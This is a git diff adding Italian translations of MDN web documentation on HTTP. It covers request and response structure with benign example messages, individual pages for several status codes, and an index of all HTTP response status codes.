Con TCP la porta di default, per un server HTTP su un computer, è la porta 80. Possono essere usate anche altre porte, come la 8000 o la 8080. L’URL della pagina da raggiungere contiene sia il nome del dominio che la numero di porta, anche se quest’ultimo può essere omesso se è 80. Vedi identificare le risorse sul web per maggiori dettagli.

+ +
Nota: Il modello client-server non permette al server di inviare dati al client senza una specifica richiesta da parte di esso. Per aggirare questo problema, gli sviluppatori web usano varie tecniche: pingare il server periodicamente con XMLHTTPRequest, Fetch APIs, usando il WebSockets API, o protocolli simili.
+ +

Mandare una client request

+ +

Una volta che la connessione si è stabilita, il programma utente può mandare la richiesta (un programma utente è tipicamente un web browser, ma può essere tante cose, per esempio un motore di ricerca). Una client request consiste nelle direttive testuali, separate dal CRLF (carriage return line feed), divise in 3 blocchi:

+ +
    +
  1. La prima riga contiene un request method seguito dai suoi parametri: +
      +
    • il percorso di un documento, quindi l’URL assoluto senza protocollo o dominio.
    • +
    • Versione del protocollo HTTP.
    • +
    +
  2. +
  3. righe susseguenti rappresentano un header HTTP, che danno al server le informazioni su quale tipo di dato è più appropriato (ad esempio  che liguaggio o tipo di MIME) o altri dati che alterano il suo comportamento (ad esempio non mandare una risposta anche se già   memorizzata nella cache). Gli header HTTP formano un blocco che termina con una riga vuota.
  4. +
  5. L’ultimo blocco è facoltativo, e contiene dati superflui usati principalmente dal POST method.
  6. +
+ +

Esempi:

+ +

recuperare la pagina radice di developer.mozilla.org , e dire al server che il programma utente preferirebbe, se possibile, avere la pagina in lingua francese.

+ +
GET / HTTP/1.1
+Host: developer.mozilla.org
+Accept-Language: fr
+
+ +

Si osservi che l’ultima riga è vuota, questo separa il blocco data da quello header. Dato che non c’è nessuna content-lenght nell’ header HTTP, questo blocco di dati si presenta vuoto, marcando la fine degli headers, permettendo così al server di processare la richiesta dal momento in cui riceve quella riga vuota.

+ +

Per esempio, mandando il risultato di un form:

+ +
POST /contact_form.php HTTP/1.1
+Host: developer.mozilla.org
+Content-Length: 64
+Content-Type: application/x-www-form-urlencoded
+
+name=Joe%20User&request=Send%20me%20one%20of%20your%20catalogue
+
+ +

Metodi di richiesta

+ +

L’HTTP definisce un set di richieste metodo che indicano l’azione desiderata da fare a seconda della risorsa. Anche se possono essere nomi, queste richieste sono alcune volte riferite come dei verbi HTTP. La richieste più comuni sono GET e POST:

+ + + +

Struttura di una risposta server

+ +

Dopo che l’agente connesso ha inviato la richiesta, il web server lo processa, e alla fine restituisce una risposta. Analogamente alla richiesta client, una risposta server è formata da direttive, separate dal CRLF, sebbene divise in tre blocchi:

+ +
    +
  1. La prima linea, lastatus line, consiste in un riconoscimento della versione http usata, seguita da un status request (e il suo breve significato in parole comprensibili dall’uomo).
  2. +
  3. Le righe successive rappresentano specifici header HTTP, che danno al client informazioni riguardanti i dati inviati (per esempio: tipo, dimensione dei dati, algoritmo di compressione usato, note sul caching). Analogamente al blocco di header HTTP di una richiesta client, questi header HTTP formano un blocco finale con una linea vuota.
  4. +
  5. Il blocco finale è un blocco di dati, che contieni i dati opzionali.
  6. +
+ +

Esempio di risposte

+ +

Risposta pagina web riuscita:

+ +
HTTP/1.1 200 OK
+Content-Type: text/html; charset=utf-8
+Content-Length: 55743
+Connection: keep-alive
+Cache-Control: s-maxage=300, public, max-age=0
+Content-Language: en-US
+Date: Thu, 06 Dec 2018 17:37:18 GMT
+ETag: "2e77ad1dc6ab0b53a2996dfd4653c1c3"
+Server: meinheld/0.6.1
+Strict-Transport-Security: max-age=63072000
+X-Content-Type-Options: nosniff
+X-Frame-Options: DENY
+X-XSS-Protection: 1; mode=block
+Vary: Accept-Encoding,Cookie
+Age: 7
+
+
+<!DOCTYPE html>
+<html lang="en">
+<head>
+  <meta charset="utf-8">
+  <title>A simple webpage</title>
+</head>
+<body>
+  <h1>Simple HTML5 webpage</h1>
+  <p>Hello, world!</p>
+</body>
+</html>
+
+ +

Notifica che la risorsa richiesta è stata definitivamente trasferita:

+ +
HTTP/1.1 301 Moved Permanently
+Server: Apache/2.4.37 (Red Hat)
+Content-Type: text/html; charset=utf-8
+Date: Thu, 06 Dec 2018 17:33:08 GMT
+Location: https://developer.mozilla.org/ (questo è il nuovo link della risorsa; ci si aspetta che l’utente agente lo prenda)
+Keep-Alive: timeout=15, max=98
+Accept-Ranges: bytes
+Via: Moz-Cache-zlb05
+Connection: Keep-Alive
+Content-Length: 325 (Il contenuto è una pagina di default da mostrare se l’utente agente non è in grado di seguire il link)
+
+
+<!DOCTYPE html... (contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)
+
+ +

Notifica che la risorsa richiesta non esiste:

+ +
HTTP/1.1 404 Not Found
+Content-Type: text/html; charset=utf-8
+Content-Length: 38217
+Connection: keep-alive
+Cache-Control: no-cache, no-store, must-revalidate, max-age=0
+Content-Language: en-US
+Date: Thu, 06 Dec 2018 17:35:13 GMT
+Expires: Thu, 06 Dec 2018 17:35:13 GMT
+Server: meinheld/0.6.1
+Strict-Transport-Security: max-age=63072000
+X-Content-Type-Options: nosniff
+X-Frame-Options: DENY
+X-XSS-Protection: 1; mode=block
+Vary: Accept-Encoding,Cookie
+X-Cache: Error from cloudfront
+
+
+<!DOCTYPE html... (contiene un pagina personalizzata che aiuta l’utente a trovare la risorsa mancante)
+
+ +

Status code di risposta

+ +

HTTP response status codes indica se una specifica richiesta HTTP sia stata completata con successo. Le risposte sono suddivise in cinque classi: risposte informative, risposte di successo, reindirizzamenti, errori client, ed errori server.

+ + + +

Vedi anche

+ + diff --git a/files/it/web/http/status/100/index.html b/files/it/web/http/status/100/index.html new file mode 100644 index 0000000000..78a7c0a159 --- /dev/null +++ b/files/it/web/http/status/100/index.html @@ -0,0 +1,42 @@ +--- +title: 100 Continue +slug: Web/HTTP/Status/100 +translation_of: Web/HTTP/Status/100 +--- +
{{HTTPSidebar}}
+ +

La risposta informativa HTTP 100 Continue indica che non si sono verificati errori e che il client può continuare con la richiesta o ignorarla nel caso fosse finita.

+ +

Per far si che il server controlli l'header della richiesta, il client deve mandare {{HTTPHeader("Expect")}}: 100-continue come header nella sua richiesta iniziale e deve ricevere un 100 Continue come codice di risposta prima di poter mandare il corpo della richiesta.

+ +

Stato

+ +
100 Continue
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "100 Continue" , "6.2.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantica e Contenuti
+ +

Compatibilità con i browser

+ + + +

{{Compat("http.status.100")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/status/101/index.html b/files/it/web/http/status/101/index.html new file mode 100644 index 0000000000..7e9c0e940f --- /dev/null +++ b/files/it/web/http/status/101/index.html @@ -0,0 +1,51 @@ +--- +title: 101 switch di protocolli +slug: Web/HTTP/Status/101 +tags: + - HTTP + - HTTP Status Code + - Referenza + - WebSockets +translation_of: Web/HTTP/Status/101 +--- +
{{HTTPSidebar}}
+ +

Il codice di risposta (response) HTTP 101 Switching Protocols indica il protocollo cui il server sta passando, come richiesto dal client che ha inviato il messaggio includendo {{HTTPHeader("Upgrade")}} nell'header della richiesta.

+ +

In questa risposta il server include l'header {{HTTPHeader("Upgrade")}} che indica qual'è il protocollo adottato. Il processo è descritto in dettaglio nell'articolo Protocol upgrade mechanism.

+ +

Status

+ +
101 Switching Protocols
+ +

Esempi

+ +

Switching protocols può essere usato con WebSockets.

+ +
HTTP/1.1 101 Switching Protocols
+Upgrade: websocket
+Connection: Upgrade
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "101 Switching Protocol" , "6.2.2")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Vedi anche

+ + diff --git a/files/it/web/http/status/200/index.html b/files/it/web/http/status/200/index.html new file mode 100644 index 0000000000..8350428043 --- /dev/null +++ b/files/it/web/http/status/200/index.html @@ -0,0 +1,55 @@ +--- +title: 200 OK +slug: Web/HTTP/Status/200 +tags: + - Codici di stato + - HTTP + - Successo +translation_of: Web/HTTP/Status/200 +--- +
{{HTTPSidebar}}
+ +

Il codice di successo di risposta 200 OK indica che la richiesta ha avuto successo.
+ Una risposta 200 è inserita nella cache di default.

+ +

Il significato di successo dipende dal metodo HTTP di richiesta:

+ + + +

Il risultato di successo di un {{HTTPMethod("PUT")}} o di un {{HTTPMethod("DELETE")}} spesso non è un 200 OK ma un {{HTTPStatus("204")}} No Content (o un {{HTTPStatus("201")}} Created quando la risorsa è caricata per la prima volta.

+ +

Stato

+ +
200 OK
+ +

Specifiche

+ + + + + + + + + + + + +
SpecificaTitolo
{{RFC("7231", "200 OK" , "6.3.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilità Browser

+ + + +

{{Compat("http.status.200")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/status/302/index.html b/files/it/web/http/status/302/index.html new file mode 100644 index 0000000000..db5c6be595 --- /dev/null +++ b/files/it/web/http/status/302/index.html @@ -0,0 +1,50 @@ +--- +title: 302 Found +slug: Web/HTTP/Status/302 +tags: + - HTTP + - Redirezione +translation_of: Web/HTTP/Status/302 +--- +
{{HTTPSidebar}}
+ +

Lo stato 302 Found dell'HyperText Transfer Protocol (HTTP) indica che la risorsa richiesta é stata spostata temporaneamente all'URL definito nell'header {{HTTPHeader("Location")}}. Un browser effettua un redirect a tale pagina ma i motori di ricerca non aggiornano i propri link alla risorsa (in 'linguaggio-SEO', si dice che che il 'link-juice' non é inviato al nuovo URL).

+ +

Anche se la specifica richiede che il metodo (e il body) della richiesta non vengano alterati quando al momento del redirect, non tutti gli user-agents si comportano allo stesso modo - ed é ancora possibile incorrere in questo tipo di software problematico. É quindi raccomandato impostare il codice 302 solo in risposta ai metodi {{HTTPMethod("GET")}} o {{HTTPMethod("HEAD")}}, in quanto la modifica del metodo é esplicitamente proibita in tal caso.

+ +

Nei casi in cui si volesse che il metodo venga cambiato in {{HTTPMethod("GET")}}, va piuttosto utilizzato {{HTTPStatus("303", "303 See Other")}}. Ció risulta utile quando si vuole rispondere a un metodo {{HTTPMethod("PUT")}} non con la risorsa aggiornata ma con un messaggio di conferma, del tipo: 'la risorsa XYZ é stata aggiornata con successo'.

+ +

Stato

+ +
302 Found
+ +

Specifiche

+ + + + + + + + + + + + + + +
SpecificaTitolo
{{RFC("7231", "302 Found" , "6.4.3")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilità Browser

+ + + +

{{Compat("http.status.302")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/status/404/index.html b/files/it/web/http/status/404/index.html new file mode 100644 index 0000000000..011dcc3553 --- /dev/null +++ b/files/it/web/http/status/404/index.html @@ -0,0 +1,62 @@ +--- +title: 404 Not Found +slug: Web/HTTP/Status/404 +tags: + - Browser + - Codice di stato + - Errore lato cliente + - HTTP + - Stato +translation_of: Web/HTTP/Status/404 +--- +
{{HTTPSidebar}}
+ +

Il codice di risposta 404 Not Found indica che il server non è riuscito a trovare la risorsa richiesta. I collegamenti (link) che portano a una pagina 404 sono spesso il risultato di chiamate errate o collegamenti non più attivi, e possono essere dovuti a fenomeni di server non più attivi (link rot).

+ +

Un codice di stato 404 non fornisce indicazioni il merito al fatto che si tratti di una risorsa non trovata temporaneamente o permanentemente. Se una risorsa è stata permanentemente eliminata, il server che la ospitava dovrebbe restiture un codice {{HTTPStatus(410)}} (Gone) invece dello stato 404.

+ +

Stato

+ +
404 Not Found
+ +

Pagine di errore personalizzate

+ +

Molti siti web personalizzano l'aspetto di una pagina 404 in modo che sia di maggior aiuto all'utente indicando magari quali azioni può intraprendere per arrivare alla pagina desiderata. I server Apache possono essere confiugrati per restituire una pagina personalizzata modificando il file .htaccess e introducendo una riga di codice come la seguente.

+ +
ErrorDocument 404 /notfound.html
+ +

Per un esempio di pagina 404 personalizzata, vedi MDN's 404 page.

+ +
+

Un design personalizzato è un'ottima cosa, ma con moderazione. Puoi rendere la tua pagina 404 divertente e umana, ma cerca di non confondere i tuoi utenti.

+
+ +

Specifiche tecniche

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "404 Not Found" , "6.5.4")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Compatibilità Browser

+ + + +

{{Compat("http.status.404")}}

+ +

Vedi anche

+ + diff --git a/files/it/web/http/status/500/index.html b/files/it/web/http/status/500/index.html new file mode 100644 index 0000000000..7dd8968d1f --- /dev/null +++ b/files/it/web/http/status/500/index.html @@ -0,0 +1,43 @@ +--- +title: 500 Internal Server Error +slug: Web/HTTP/Status/500 +translation_of: Web/HTTP/Status/500 +--- +
{{HTTPSidebar}}
+ +

Il codice di risposta, del protocollo HTTP ( HyperText Transfer Protocol ), "500 Internal Server Error" indica che il server ha riscontrato una condizione imprevista, che gli ha impedito di andare avanti.

+ +

Questo tipo di risposta all'errore è una generica "catch-all". A volte, gli amministratori dei server registrano queste risposte di errore con ulteriori dettagli, per impedire che l'errore si verifichi nuovamente in futuro.

+ +
+
 
+
+ + + +

Status

+ +
500 Internal Server Error
+ +

Specifications

+ + + + + + + + + + + + +
SpecificationTitle
{{RFC("7231", "500 Internal Server Error" , "6.6.1")}}Hypertext Transfer Protocol (HTTP/1.1): Semantics and Content
+ +

Browser compatibility

+ +

The information shown below has been pulled from MDN's GitHub (https://github.com/mdn/browser-compat-data).

+ + + +

{{Compat("http.status.500")}}

diff --git a/files/it/web/http/status/index.html b/files/it/web/http/status/index.html new file mode 100644 index 0000000000..e490502369 --- /dev/null +++ b/files/it/web/http/status/index.html @@ -0,0 +1,171 @@ +--- +title: HTTP response status codes +slug: Web/HTTP/Status +tags: + - HTTP + - NeedsTranslation + - Status codes + - TopicStub +translation_of: Web/HTTP/Status +--- +
{{HTTPSidebar}}
+ +

HTTP response status codes indicate whether a specific HTTP request has been successfully completed. Responses are grouped in five classes: informational responses, successful responses, redirects, client errors, and servers errors. Status codes are defined by section 10 of RFC 2616.

+ +

Information responses

+ +
+
{{HTTPStatus(100, "100 Continue")}}
+
This interim response indicates that everything so far is OK and that the client should continue with the request or ignore it if it is already finished.
+
{{HTTPStatus(101, "101 Switching Protocol")}}
+
This code is sent in response to an {{HTTPHeader("Upgrade")}} request header by the client, and indicates the protocol the server is switching too.
+
{{HTTPStatus(102, "102 Processing")}} ({{Glossary("WebDAV")}})
+
This code indicates that the server has received and is processing the request, but no response is available yet.
+
+ +

Successful responses

+ +
+
{{HTTPStatus(200, "200 OK")}}
+
The request has succeeded. The meaning of a success varies depending on the HTTP method:
+ GET: The resource has been fetched and is transmitted in the message body.
+ HEAD: The entity headers are in the message body.
+ POST: The resource describing the result of the action is transmitted in the message body.
+ TRACE: The message body contains the request message as received by the server
+
{{HTTPStatus(201, "201 Created")}}
+
The request has succeeded and a new resource has been created as a result of it. This is typically the response sent after a PUT request.
+
{{HTTPStatus(202, "202 Accepted")}}
+
The request has been received but not yet acted upon. It is non-committal, meaning that there is no way in HTTP to later send an asynchronous response indicating the outcome of processing the request. It is intended for cases where another process or server handles the request, or for batch processing.
+
{{HTTPStatus(203, "203 Non-Authoritative Information")}}
+
This response code means returned meta-information set is not exact set as available from the origin server, but collected from a local or a third party copy. Except this condition, 200 OK response should be preferred instead of this response.
+
{{HTTPStatus(204, "204 No Content")}}
+
There is no content to send for this request, but the headers may be useful. The user-agent may update its cached headers for this resource with the new ones.
+
{{HTTPStatus(205, "205 Reset Content")}}
+
This response code is sent after accomplishing request to tell user agent reset document view which sent this request.
+
{{HTTPStatus(206, "206 Partial Content")}}
+
This response code is used because of range header sent by the client to separate download into multiple streams.
+
{{HTTPStatus(207, "207 Multi-Status")}} ({{Glossary("WebDAV")}})
+
A Multi-Status response conveys information about multiple resources in situations where multiple status codes might be appropriate.
+
{{HTTPStatus(208, "208 Multi-Status")}} ({{Glossary("WebDAV")}})
+
Used inside a DAV: propstat response element to avoid enumerating the internal members of multiple bindings to the same collection repeatedly.
+
{{HTTPStatus(226, "226 IM Used")}} (HTTP Delta encoding)
+
The server has fulfilled a GET request for the resource, and the response is a representation of the result of one or more instance-manipulations applied to the current instance.
+
+ +

Redirection messages

+ +
+
{{HTTPStatus(300, "300 Multiple Choice")}}
+
The request has more than one possible responses. User-agent or user should choose one of them. There is no standardized way to choose one of the responses.
+
{{HTTPStatus(301, "301 Moved Permanently")}}
+
This response code means that URI of requested resource has been changed. Probably, new URI would be given in the response.
+
{{HTTPStatus(302, "302 Found")}}
+
This response code means that URI of requested resource has been changed temporarily. New changes in the URI might be made in the future. Therefore, this same URI should be used by the client in future requests.
+
{{HTTPStatus(303, "303 See Other")}}
+
Server sent this response to directing client to get requested resource to another URI with an GET request.
+
{{HTTPStatus(304, "304 Not Modified")}}
+
This is used for caching purposes. It is telling to client that response has not been modified. So, client can continue to use same cached version of response.
+
305 Use Proxy {{deprecated_inline}}
+
Was defined in a previous version of the HTTP specification to indicate that a requested response must be accessed by a proxy. It has been deprecated due to security concerns regarding in-band configuration of a proxy.
+
306 unused
+
This response code is no longer used, it is just reserved currently. It was used in a previous version of the HTTP 1.1 specification.
+
{{HTTPStatus(307, "307 Temporary Redirect")}}
+
Server sent this response to directing client to get requested resource to another URI with same method that used prior request. This has the same semantic than the 302 Found HTTP response code, with the exception that the user agent must not change the HTTP method used: if a POST was used in the first request, a POST must be used in the second request.
+
{{HTTPStatus(308, "308 Permanent Redirect")}}
+
This means that the resource is now permanently located at another URI, specified by the Location: HTTP Response header. This has the same semantics as the 301 Moved Permanently HTTP response code, with the exception that the user agent must not change the HTTP method used: if a POST was used in the first request, a POST must be used in the second request.
+
+ +

Client error responses

+ +
+
{{HTTPStatus(400, "400 Bad Request")}}
+
This response means that server could not understand the request due to invalid syntax.
+
{{HTTPStatus(401, "401 Unauthorized")}}
+
Although the HTTP standard specifies "unauthorized", semantically this response means "unauthenticated". That is, the client must authenticate itself to get the requested response.
+
402 Payment Required
+
This response code is reserved for future use. Initial aim for creating this code was using it for digital payment systems however this is not used currently.
+
{{HTTPStatus(403, "403 Forbidden")}}
+
The client does not have access rights to the content, i.e. they are unauthorized, so server is rejecting to give proper response. Unlike 401, the client's identity is known to the server.
+
{{HTTPStatus(404, "404 Not Found")}}
+
The server can not find requested resource. In the browser, this means the URL is not recognized. In an API, this can also mean that the endpoint is valid but the resource itself does not exist. Servers may also send this response instead of 403 to hide the existence of a resource from an unauthorized client. This response code is probably the most famous one due to its frequent occurence on the web.
+
{{HTTPStatus(405, "405 Method Not Allowed")}}
+
The request method is known by the server but has been disabled and cannot be used. For example, an API may forbid DELETE-ing a resource. The two mandatory methods, GET and HEAD, must never be disabled and should not return this error code.
+
{{HTTPStatus(406, "406 Not Acceptable")}}
+
This response is sent when the web server, after performing server-driven content negotiation, doesn't find any content following the criteria given by the user agent.
+
{{HTTPStatus(407, "407 Proxy Authentication Required")}}
+
This is similar to 401 but authentication is needed to be done by a proxy.
+
{{HTTPStatus(408, "408 Request Timeout")}}
+
This response is sent on an idle connection by some servers, even without any previous request by the client. It means that the server would like to shut down this unused connection. This response is used much more since some browsers, like Chrome, Firefox 27+, or IE9, use HTTP pre-connection mechanisms to speed up surfing. Also note that some servers merely shut down the connection without sending this message.
+
{{HTTPStatus(409, "409 Conflict")}}
+
This response is sent when a request conflicts with the current state of the server.
+
{{HTTPStatus(410, "410 Gone")}}
+
This response would be sent when the requested content has been permenantly deleted from server, with no forwarding address. Clients are expected to remove their caches and links to the resource. The HTTP specification intends this status code to be used for "limited-time, promotional services". APIs should not feel compelled to indicate resources that have been deleted with this status code.
+
{{HTTPStatus(411, "411 Length Required")}}
+
Server rejected the request because the Content-Length header field is not defined and the server requires it.
+
{{HTTPStatus(412, "412 Precondition Failed")}}
+
The client has indicated preconditions in its headers which the server does not meet.
+
{{HTTPStatus(413, "413 Payload Too Large")}}
+
Request entity is larger than limits defined by server; the server might close the connection or return an Retry-After header field.
+
{{HTTPStatus(414, "414 URI Too Long")}}
+
The URI requested by the client is longer than the server is willing to interpret.
+
{{HTTPStatus(415, "415 Unsupported Media Type")}}
+
The media format of the requested data is not supported by the server, so the server is rejecting the request.
+
{{HTTPStatus(416, "416 Requested Range Not Satisfiable")}}
+
The range specified by the Range header field in the request can't be fulfilled; it's possible that the range is outside the size of the target URI's data.
+
{{HTTPStatus(417, "417 Expectation Failed")}}
+
This response code means the expectation indicated by the Expect request header field can't be met by the server.
+
{{HTTPStatus(418, "418 I'm a teapot")}}
+
The server refuses the attempt to brew coffee with a teapot.
+
{{HTTPStatus(421, "421 Misdirected Request")}}
+
The request was directed at a server that is not able to produce a response. This can be sent by a server that is not configured to produce responses for the combination of scheme and authority that are included in the request URI.
+
{{HTTPStatus(422, "422 Unprocessable Entity")}} ({{Glossary("WebDAV")}})
+
The request was well-formed but was unable to be followed due to semantic errors.
+
{{HTTPStatus(423, "423 Locked")}} ({{Glossary("WebDAV")}})
+
The resource that is being accessed is locked.
+
{{HTTPStatus(424, "424 Failed Dependency")}} ({{Glossary("WebDAV")}})
+
The request failed due to failure of a previous request.
+
{{HTTPStatus(426, "426 Upgrade Required")}}
+
The server refuses to perform the request using the current protocol but might be willing to do so after the client upgrades to a different protocol. The server sends an {{HTTPHeader("Upgrade")}} header in a 426 response to indicate the required protocol(s).
+
{{HTTPStatus(428, "428 Precondition Required")}}
+
The origin server requires the request to be conditional. Intended to prevent the 'lost update' problem, where a client GETs a resource's state, modifies it, and PUTs it back to the server, when meanwhile a third party has modified the state on the server, leading to a conflict.
+
{{HTTPStatus(429, "429 Too Many Requests")}}
+
The user has sent too many requests in a given amount of time ("rate limiting").
+
{{HTTPStatus(431, "431 Request Header Fields Too Large")}}
+
The server is unwilling to process the request because its header fields are too large. The request MAY be resubmitted after reducing the size of the request header fields.
+
{{HTTPStatus(451, "451 Unavailable For Legal Reasons")}}
+
The user requests an illegal resource, such as a web page censored by a government.
+
+ +

Server error responses

+ +
+
{{HTTPStatus(500, "500 Internal Server Error")}}
+
The server has encountered a situation it doesn't know how to handle.
+
{{HTTPStatus(501, "501 Not Implemented")}}
+
The request method is not supported by the server and cannot be handled. The only methods that servers are required to support (and therefore that must not return this code) are GET and HEAD.
+
{{HTTPStatus(502, "502 Bad Gateway")}}
+
This error response means that the server, while working as a gateway to get a response needed to handle the request, got an invalid response.
+
{{HTTPStatus(503, "503 Service Unavailable")}}
+
The server is not ready to handle the request. Common causes are a server that is down for maintenance or that is overloaded. Note that together with this response, a user-friendly page explaining the problem should be sent. This responses should be used for temporary conditions and the Retry-After: HTTP header should, if possible, contain the estimated time before the recovery of the service. The webmaster must also take care about the caching-related headers that are sent along with this response, as these temporary condition responses should usually not be cached.
+
{{HTTPStatus(504, "504 Gateway Timeout")}}
+
This error response is given when the server is acting as a gateway and cannot get a response in time.
+
{{HTTPStatus(505, "505 HTTP Version Not Supported")}}
+
The HTTP version used in the request is not supported by the server.
+
{{HTTPStatus(506, "506 Variant Also Negotiates")}}
+
The server has an internal configuration error: transparent content negotiation for the request results in a circular reference.
+
{{HTTPStatus(507, "507 Insufficient Storage")}}
+
The server has an internal configuration error: the chosen variant resource is configured to engage in transparent content negotiation itself, and is therefore not a proper end point in the negotiation process.
+
{{HTTPStatus(508, "508 Loop Detected")}} ({{Glossary("WebDAV")}})
+
The server detected an infinite loop while processing the request.
+
{{HTTPStatus(510, "510 Not Extended")}}
+
Further extensions to the request are required for the server to fulfill it.
+
{{HTTPStatus(511, "511 Network Authentication Required")}}
+
The 511 status code indicates that the client needs to authenticate to gain network access.
+
+ +

See also

+ + -- cgit v1.2.3-54-g00ecf